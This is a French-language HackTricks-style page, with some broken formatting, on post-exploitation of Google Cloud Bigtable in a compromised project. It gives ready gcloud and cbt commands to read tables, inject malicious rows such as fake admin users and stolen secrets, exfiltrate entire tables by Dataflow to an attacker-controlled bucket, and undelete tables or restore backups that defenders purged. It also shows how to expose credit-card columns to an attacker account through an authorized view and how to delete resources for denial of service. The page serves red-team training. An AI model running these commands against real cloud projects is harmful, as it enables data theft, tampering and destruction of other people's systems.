GCP - Bigtable Post Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Bigtable

Pour plus d’informations sur Bigtable, consultez :

GCP - Bigtable Enum

Tip

Installez une fois le CLI cbt via le Cloud SDK pour que les commandes ci-dessous fonctionnent localement :

Installer le CLI `cbt`
gcloud components install cbt

Lire les lignes

Autorisations : bigtable.tables.readRows

cbt est fourni avec le Cloud SDK et se connecte aux admin/data APIs sans nécessiter de middleware. Pointez-le vers le projet/instance compromis et récupérez les lignes directement depuis la table. Limitez le scan si vous n’avez besoin que d’un aperçu.

Lire les entrées Bigtable ```bash # Install cbt gcloud components update gcloud components install cbt

Read entries with creds of gcloud

cbt -project= -instance= read

</details>

### Écrire des lignes

**Permissions:** `bigtable.tables.mutateRows`, (you will need `bigtable.tables.readRows` to confirm the change).

Utilisez le même outil pour insérer ou mettre à jour des cellules arbitraires. C'est le moyen le plus rapide pour backdoor des configs, déposer des web shells, ou implanter des poisoned dataset rows.

<details>

<summary>Injecter une ligne malveillante</summary>
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>

cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin

# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337

cbt set accepte des octets bruts via la syntaxe @/path, donc vous pouvez pousser compiled payloads ou serialized protobufs exactement comme les services en aval s’y attendent.

Exporter les lignes vers votre bucket

Autorisations : dataflow.jobs.create, resourcemanager.projects.get, iam.serviceAccounts.actAs

Il est possible d’exfiltrer le contenu d’une table entière vers un bucket contrôlé par l’attaquant en lançant un job Dataflow qui envoie les lignes en continu dans un bucket GCS que vous contrôlez.

Note

Notez que vous aurez besoin de l’autorisation iam.serviceAccounts.actAs sur un SA disposant des permissions suffisantes pour effectuer l’export (par défaut, sauf indication contraire, le compute SA par défaut sera utilisé).

Exporter Bigtable vers un bucket GCS ```bash gcloud dataflow jobs run \ --gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ --project= \ --region= \ --parameters=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ --staging-location=gs:///staging/

Example

gcloud dataflow jobs run dump-bigtable3
–gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json
–project=gcp-labs-3uis1xlx
–region=us-central1
–parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/
–staging-location=gs://deleteme20u9843rhfioue/staging/

</details>

> [!NOTE]
> Basculez le template sur `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` si vous voulez des sorties Parquet/SequenceFile au lieu de JSON. Les permissions sont les mêmes ; seul le chemin du template change.

### Importer des lignes

**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`

Il est possible d'importer le contenu d'une table entière depuis un bucket contrôlé par l'attaquant en lançant un job Dataflow qui stream des lignes vers un bucket GCS que vous contrôlez. Pour cela, l'attaquant devra d'abord créer un fichier parquet contenant les données à importer avec le schéma attendu. Un attaquant pourrait d'abord exporter les données au format parquet en suivant la technique précédente avec le réglage `Cloud_Bigtable_to_GCS_Parquet` puis ajouter de nouvelles entrées dans le fichier parquet téléchargé.



> [!NOTE]
> Notez que vous aurez besoin de la permission `iam.serviceAccounts.actAs` sur un certain SA disposant de suffisamment de permissions pour effectuer l'export (par défaut, si cela n'est pas indiqué autrement, le SA compute par défaut sera utilisé).

<details>

<summary>Importer depuis un bucket GCS vers Bigtable</summary>
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/

# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/

Restauration des sauvegardes

Permissions: bigtable.backups.restore, bigtable.tables.create.

Un attaquant disposant de ces permissions peut restaurer une sauvegarde dans une nouvelle table sous son contrôle afin de pouvoir récupérer d’anciennes données sensibles.

Restaurer une sauvegarde Bigtable ```bash gcloud bigtable backups list --instance= \ --cluster=

gcloud bigtable instances tables restore
–source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID>
–async
–destination=<TABLE_ID_NEW>
–destination-instance=<INSTANCE_ID_DESTINATION>
–project=<PROJECT_ID_DESTINATION>

</details>

### Restaurer des tables

**Permissions :** `bigtable.tables.undelete`

Bigtable prend en charge la suppression logique (soft-deletion) avec une période de grâce (généralement 7 jours par défaut). Pendant cette fenêtre, un attaquant disposant de la permission `bigtable.tables.undelete` peut restaurer une table récemment supprimée et récupérer toutes ses données, accédant potentiellement à des informations sensibles censées avoir été détruites.

Ceci est particulièrement utile pour :
- Récupérer des données de tables supprimées par les défenseurs lors d'une réponse à incident
- Accéder à des données historiques qui ont été intentionnellement purgées
- Inverser des suppressions accidentelles ou malveillantes pour maintenir la persistance

<details>

<summary>Restaurer une table Bigtable</summary>
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted

# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>

Note

L’opération undelete ne fonctionne que pendant la période de rétention configurée (par défaut 7 jours). Après l’expiration de cette fenêtre, la table et ses données sont définitivement supprimées et ne peuvent pas être récupérées par cette méthode.

Create Authorized Views

Autorisations: bigtable.authorizedViews.create, bigtable.tables.readRows, bigtable.tables.mutateRows

Authorized views vous permettent de présenter un sous-ensemble sélectionné de la table. Au lieu de respecter least privilege, utilisez-les pour publier exactement les ensembles de colonnes/lignes sensibles qui vous intéressent et mettre votre propre principal sur liste blanche.

Warning

Le problème est que pour créer une authorized view vous devez aussi être capable de read and mutate rows dans la table de base ; par conséquent vous n’obtenez aucune permission supplémentaire et cette technique est donc principalement inutile.

Créer une authorized view ```bash cat <<'EOF' > /tmp/credit-cards.json { "subsetView": { "rowPrefixes": ["acct#"], "familySubsets": { "pii": { "qualifiers": ["cc_number", "cc_cvv"] } } } } EOF

gcloud bigtable authorized-views create card-dump
–instance= –table=
–definition-file=/tmp/credit-cards.json

gcloud bigtable authorized-views add-iam-policy-binding card-dump
–instance= –table=
–member=‘user:attacker@example.com’ –role=‘roles/bigtable.reader’

</details>

Parce que l'accès est limité à la vue, les défenseurs négligent souvent le fait que vous venez de créer un nouvel endpoint à haute sensibilité.

### Lire les vues autorisées

**Autorisations :** `bigtable.authorizedViews.readRows`

Si vous avez accès à une vue autorisée, vous pouvez lire ses données en utilisant les bibliothèques clientes Bigtable en spécifiant le nom de la vue autorisée dans vos requêtes de lecture. Notez que la vue autorisée limitera probablement ce à quoi vous pouvez accéder dans la table. Ci‑dessous un exemple en Python :

<details>

<summary>Lire depuis une vue autorisée (Python)</summary>
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest

# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"

client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)

data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"

request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)

rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f"  {family}:{qualifier} = {value}")

Denial of Service via opérations de suppression

Permissions : bigtable.appProfiles.delete, bigtable.authorizedViews.delete, bigtable.authorizedViews.deleteTagBinding, bigtable.backups.delete, bigtable.clusters.delete, bigtable.instances.delete, bigtable.tables.delete

Toute permission de suppression de Bigtable peut être utilisée comme arme pour des attaques de denial of service. Un attaquant disposant de ces permissions peut perturber les opérations en supprimant des ressources Bigtable critiques :

  • bigtable.appProfiles.delete : Supprimer des profils d’application, interrompant les connexions clients et les configurations de routage
  • bigtable.authorizedViews.delete : Supprimer des vues autorisées, coupant les chemins d’accès légitimes pour les applications
  • bigtable.authorizedViews.deleteTagBinding : Supprimer les liaisons de tags des vues autorisées
  • bigtable.backups.delete : Détruire les instantanés de sauvegarde, éliminant les options de reprise après sinistre
  • bigtable.clusters.delete : Supprimer des clusters entiers, provoquant une indisponibilité immédiate des données
  • bigtable.instances.delete : Supprimer des instances Bigtable complètes, effaçant toutes les tables et configurations
  • bigtable.tables.delete : Supprimer des tables individuelles, provoquant une perte de données et des pannes d’application
Supprimer des ressources Bigtable ```bash # Delete a table gcloud bigtable instances tables delete \ --instance=

Delete an authorized view

gcloud bigtable authorized-views delete
–instance= –table=

Delete a backup

gcloud bigtable backups delete
–instance= –cluster=

Delete an app profile

gcloud bigtable app-profiles delete
–instance=

Delete a cluster

gcloud bigtable clusters delete
–instance=

Delete an entire instance

gcloud bigtable instances delete

</details>

> [!WARNING]
> Les opérations de suppression sont souvent immédiates et irréversibles. Assurez-vous que des sauvegardes existent avant de tester ces commandes, car elles peuvent provoquer une perte de données permanente et une grave interruption du service.

> [!TIP]
> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Apprenez et pratiquez le hacking Azure : <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenir HackTricks</summary>
>
> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
> </details>